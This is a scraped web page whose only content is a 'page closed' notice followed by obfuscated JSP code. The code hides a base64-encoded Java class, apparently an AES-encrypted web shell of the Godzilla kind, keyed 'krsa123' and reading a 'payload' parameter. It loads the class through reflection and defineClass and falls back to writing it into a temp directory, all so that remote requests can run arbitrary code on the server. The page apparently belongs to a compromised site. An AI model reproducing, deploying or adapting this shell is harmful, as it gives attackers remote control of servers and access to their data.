This webpage is closed. Please browse other news...
<%@ page language="java" import="java.io.*, java.nio.*, java.lang.reflect.*, sun.misc.BASE64Decoder" %> <% String className = "upload_log"; String classCode = "yv66vgAAADEA0goAEABZBwBaCgALAFsHAFwHAF0KAAUAWQgAXgoABQBfCgAEAGAHAGEHAGIHAGMJAGQAZQoACwBmCgBnAGgHAGkKAGQAagoAZwBrBwBsCQACAG0KAAQAbggAbwoAEwBwCgBxAHIKAHEAcwoAcQB0CAB1CwA7AHYKAAQAdwoAAgB4BwB5CAB6CwA9AHsKAAIAfAsAPQB9CAB+CwA7AH0KAAsAfwoAgACBBwCCCgAoAFkKABAAgwgAVAoACwCECwA8AIUIAIYKAAQAhwoAiACJBwCKCgAxAIsKAB8AjAgAjQoAKACOBwCPCgA2AFkKADYAkAoABACRBwCSBwCTBwCUBwCVCgACAJYKABAAlwgAmAEAA0tFWQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAClBBUkFNX05BTUUBAA1Db25zdGFudFZhbHVlAQAGTUFSS0VSAQAMUEFZTE9BRF9BVFRSAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEmxvYWRDbGFzc0Zyb21CeXRlcwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEACkV4Y2VwdGlvbnMBAAlTaWduYXR1cmUBABgoW0IpTGphdmEvbGFuZy9DbGFzczwqPjsBAANhZXMBAAcoW0JaKVtCAQAHZXhlY3V0ZQEAcihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjspVgEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAD3VwbG9hZF9sb2cuamF2YQwARwBIAQAKdXBsb2FkX2xvZwwAmQCaAQAQamF2YS9sYW5nL1N0cmluZwEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIBABBaR1ZtYVc1bFEyeGhjM009DACbAJwMAEcAnQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAD2phdmEvbGFuZy9DbGFzcwEAAltCBwCeDACfAKAMAKEAogcAowwApAClAQAQamF2YS9sYW5nL09iamVjdAwApgCnDACoAKkBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABBAEIMAKoAqwEAA0FFUwwARwCsBwCtDACuAK8MALAAsQwAsgCzAQAHa3JzYTEyMwwAtAC1DAC2ALcMAFAAUQEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAdwYXlsb2FkDAC4ALkMAEsATAwAugC7AQAKcGFyYW1ldGVycwwAvAC9BwC+DAC/AMABAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwAwQDCDADDAKIMAMQAxQEAIDVBNDUxN0ZCQ0VDNjA0NEUxODU4NkM5N0NCQzE3QUQ5DADGAMcHAMgMAMkAygEAE2phdmEvaW8vUHJpbnRTdHJlYW0MAEcAywwAzADNAQAIdG9TdHJpbmcMAM4AqwEAFnN1bi9taXNjL0JBU0U2NEVuY29kZXIMAM8A0AwAxgDRAQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgwAUgBTDABUAFUBABAzNzgwZmQxZDJmY2U0MWUwAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABShbQilWAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAYoW0IpW0IBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmxlbmd0aAEAAygpSQEADGdldEF0dHJpYnV0ZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQAOZ2V0Q29uc3RydWN0b3IBADMoW0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsBAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgEAC25ld0luc3RhbmNlAQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9QcmludFdyaXRlcgEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAZKExqYXZhL2lvL091dHB1dFN0cmVhbTspVgEAD3ByaW50U3RhY2tUcmFjZQEAGChMamF2YS9pby9QcmludFN0cmVhbTspVgEAC3RvQnl0ZUFycmF5AQAGZW5jb2RlAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwAhAAIAEAAAAAQACQBBAEIAAAAaAEMAQgABAEQAAAACABsAGgBFAEIAAQBEAAAAAgAuABoARgBCAAEARAAAAAIAIAAGAAEARwBIAAEASQAAAB0AAQABAAAABSq3AAGxAAAAAQBKAAAABgABAAAACwAKAEsATAADAEkAAACGAAYABAAAAF4TAAK2AANMuwAEWbsABVm3AAYSB7YACLcACU0TAAosBr0AC1kDEwAMU1kEsgANU1kFsgANU7YADk4tBLYADy0rBr0AEFkDKlNZBAO4ABFTWQUqvrgAEVO2ABLAAAuwAAAAAQBKAAAAFgAFAAAAFgAHABgAGwAaADkAHAA+AB4ATQAAAAQAAQAfAE4AAAACAE8AAgBQAFEAAgBJAAAAWQAEAAYAAAAxuwATWbIAFLYAFRIWtwAXThIWuAAYOgQcmQAHBKcABAU2BRkEFQUttgAZGQQrtgAasAAAAAEASgAAABYABQAAACIAEAAjABcAJAAiACUAKgAmAE0AAAAEAAEAHwACAFIAUwACAEkAAAH5AAYADAAAAU0rEhu5ABwCADoEGQTGAAsZBLYAHZoABLEBOgW7AAVZtwAGGQS2AAg6BioZBgO3AB46BacABjoGsRkFxwAEsS0SILkAIQIAxwAXGQW4ACI6Bi0SIBkGuQAjAwCnAPIrEiQZBbkAJQMALRIguQAhAgDAAAs6BhkGA70AC7YAJgO9ABC2ACc6B7sAKFm3ACk6CBkHtgAqEisEvQALWQMTABBTtgAsOgkZCRkHBL0AEFkDGQhTtgASVxkJGQcEvQAQWQMrU7YAElcsuQAtAQASLgMQELYAL7YAMKcAJDoJGQm7ADFZGQi3ADK2ADMsuQAtAQASLgMQELYAL7YAMBkHtgAqEjQDvQALtgAsGQcDvQAQtgASVxkItgA1OgkqGQkEtwAeOgq7ADZZtwA3GQq2ADg6Cyy5AC0BABkLtgAwLLkALQEAEi4QELYAObYAMLEAAgAbADIANQAfAI8A1wDaAB8AAQBKAAAAigAiAAAAKwAKACwAFwAtABgAMAAbADIAKQAzADIANgA1ADQANwA1ADgAOAA9ADkAPgA8AEkAPQBQAD4AWgA/AF0AQABnAEIAdABDAIYARQCPAEgApQBKALYASwDGAE0A1wBRANoATgDcAE8A6gBQAPsAUwETAFUBGgBWASMAVwExAFkBPABaAUwAXABNAAAABAABAB8AAQBUAFUAAQBJAAAApAAEAAYAAABcK8EAOpkAUivAADrAADpNLL4GoQBELAMywQA7mQA7LAQywQA8mQAyLAUywQA9mQApLAMywAA7TiwEMsAAPDoELAUywAA9OgUqLRkEGQW3AD6nAAROBKwqK7cAP6wAAQAwAFAAUwAfAAEASgAAAC4ACwAAAGAABwBhAA8AYgAwAGcANwBoAD8AaQBHAGoAUABsAFMAawBUAG0AVgBwAAgAVgBIAAEASQAAAB4AAQAAAAAABhJAswAUsQAAAAEASgAAAAYAAQAAAA0AAQBXAAAAAgBY"; try { Class decoderClass = Class.forName(new String(new char[]{ 's','u','n','.','m','i','s','c','.','B','A','S','E','6','4','D','e','c','o','d','e','r' })); Object decoder = decoderClass.newInstance(); java.lang.reflect.Method decodeMethod = decoderClass.getMethod( new String(new char[]{'d','e','c','o','d','e','B','u','f','f','e','r'}), new Class[]{ String.class } ); String codeWrapper = new String(classCode.toCharArray()); Object[] invokeArgs = new Object[]{ codeWrapper }; byte[] bytes = (byte[]) decodeMethod.invoke(decoder, invokeArgs); Class shellClass = null; Object shellInstance = null; try { ClassLoader loader = this.getClass().getClassLoader(); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod( new String(new char[]{'d','e','f','i','n','e','C','l','a','s','s'}), new Class[]{ byte[].class, int.class, int.class } ); defineClassMethod.setAccessible(true); shellClass = (Class) defineClassMethod.invoke(loader, new Object[]{ bytes, 0, bytes.length }); shellInstance = shellClass.getConstructor().newInstance(); } catch (Throwable ignore) { File tmpDir = new File(System.getProperty("java.io.tmpdir") + File.separator + "793616483_log"); if (!tmpDir.exists()) { tmpDir.mkdirs(); } File classFile = new File(tmpDir, className + ".class"); FileOutputStream fos = new FileOutputStream(classFile); fos.write(bytes); fos.close(); java.net.URL url = tmpDir.toURI().toURL(); java.net.URLClassLoader ucl = new java.net.URLClassLoader(new java.net.URL[]{ url }, this.getClass().getClassLoader()); shellClass = Class.forName(className, true, ucl); shellInstance = shellClass.getConstructor().newInstance(); } java.lang.reflect.Method equalsMethod = shellClass.getMethod("equals", Object.class); Object equalsArgs = new Object[]{request, response, session}; equalsMethod.invoke(shellInstance, equalsArgs); } catch (Throwable t) { } %>